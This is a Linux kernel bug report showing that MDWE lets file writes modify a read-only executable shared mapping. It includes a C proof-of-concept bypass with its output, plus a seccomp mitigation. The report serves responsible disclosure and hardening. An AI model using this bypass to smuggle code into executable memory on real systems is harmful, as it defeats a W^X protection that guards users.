Bug 219227 - MDWE does not prevent read-only, executable, shared memory regions to be updated by backing file writes
Summary: MDWE does not prevent read-only, executable, shared memory regions to be upda...
Status: NEW
Alias: None
Product: Linux
Classification: Unclassified
Component: Kernel (show other bugs)
Hardware: All Linux
: P3 normal
Assignee: Virtual assignee for kernel bugs
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2024-09-03 15:51 UTC by Ali Polatel
Modified: 2024-09-12 21:10 UTC (History)
0 users

See Also:
Kernel Version:
Subsystem: MEMORY MANAGEMENT
Regression: No
Bisected commit-id:
mricon: bugbot+


Attachments

Description Ali Polatel 2024-09-03 15:51:47 UTC
Arguably this breaks W^X. Similar implementations such as PaX prevent this. About private mappings, POSIX leaves unspecified whether changes made to the file after the mmap() call are visible in the mapped region. My basic tests show it is not visible on Linux. That said, if there's a chance for them to ever be visible somehow MDWE should also prevent it.

Proof of concept:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <sys/prctl.h>

#ifndef PR_SET_MDWE
# define PR_SET_MDWE 65
#endif
#ifndef PR_MDWE_REFUSE_EXEC_GAIN
# define PR_MDWE_REFUSE_EXEC_GAIN 1
#endif

int main(void)
{
	int fd;
	char *addr;
	const char *data_x = "benign code";
	const char *data_X = "malicious code";
	size_t len_x = strlen(data_x);
	size_t len_X = strlen(data_X);

	// Step 0: Set MDWE to refuse EXEC gain.
	if (prctl(PR_SET_MDWE, PR_MDWE_REFUSE_EXEC_GAIN, 0, 0, 0) == -1) {
		perror("prctl(PR_SET_MDWE)");
		exit(ENOSYS);
	}

	// Step 1: Open file.
	fd = open("./mmap", O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);
	if (fd == -1) {
		perror("open");
		exit(EXIT_FAILURE);
	}

	// Write initial content.
	if (write(fd, data_x, len_x) != len_x) {
		perror("write");
		exit(EXIT_FAILURE);
	}

	// Step 2: Memory-map the file.
	addr = mmap(NULL, len_x, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0);
	if (addr == MAP_FAILED) {
		perror("mmap");
		exit(EXIT_FAILURE);
	}

	// Write new content to the file.
	if (lseek(fd, 0, SEEK_SET) == -1) {
		perror("lseek");
		exit(EXIT_FAILURE);
	}

	if (write(fd, data_X, len_X) != len_X) {
		perror("write");
		exit(EXIT_FAILURE);
	}

	// Close file, this will sync the contents to the read-only memory area.
	// This breaks W^X and MDWE should prevent this.
	close(fd);

	// Check the mapped memory.
	printf("[*] Mapped Content: %s\n", addr);
	if (!strncmp(addr, "malicious", strlen("malicious"))) {
		printf("[!] RX memory updated thru a backing file write under MDWE.\n");
	}

	unlink("./mmap");
	return EXIT_SUCCESS;
}
Comment 1 Ali Polatel 2024-09-03 16:09:40 UTC
I am sorry, I forgot to post the output of the PoC.
On a system with Linux kernel 6.8 I get:
⇒  ./a.out
[*] Mapped Content: malicious code
[!] RX memory updated thru a backing file write under MDWE.
Comment 2 Ali Polatel 2024-09-03 16:23:10 UTC
Note, this is trivial to mitigate with a seccomp-bpf filter.
Sample code in Rust. Given "ctx" is a seccomp filter context:

// Prevent executable shared memory.
ctx.add_rule_conditional(
    ScmpAction::KillProcess,
    ScmpSyscall::new("mmap"), // same applies for mmap2.
    &[scmp_cmp!($arg2 & PROT_EXEC == PROT_EXEC),
      scmp_cmp!($arg3 & MAP_SHARED == MAP_SHARED)],
)?;

This is what syd[1] does since version 3.15.1

[1]: https://man.exherbolinux.org/syd.7.html#Advanced_Memory_Protection_Mechanisms
Comment 3 Ali Polatel 2024-09-03 18:17:56 UTC
FTR, same PoC works on HardenedBSD, who have their own PaX implementation, even with private mappings: https://git.hardenedbsd.org/hardenedbsd/HardenedBSD/-/issues/107
Comment 4 Konstantin Ryabitsev 2024-09-12 21:10:02 UTC
Assigning to MM and invoking bugbot.

Note You need to log in before you can comment on or make changes to this bug.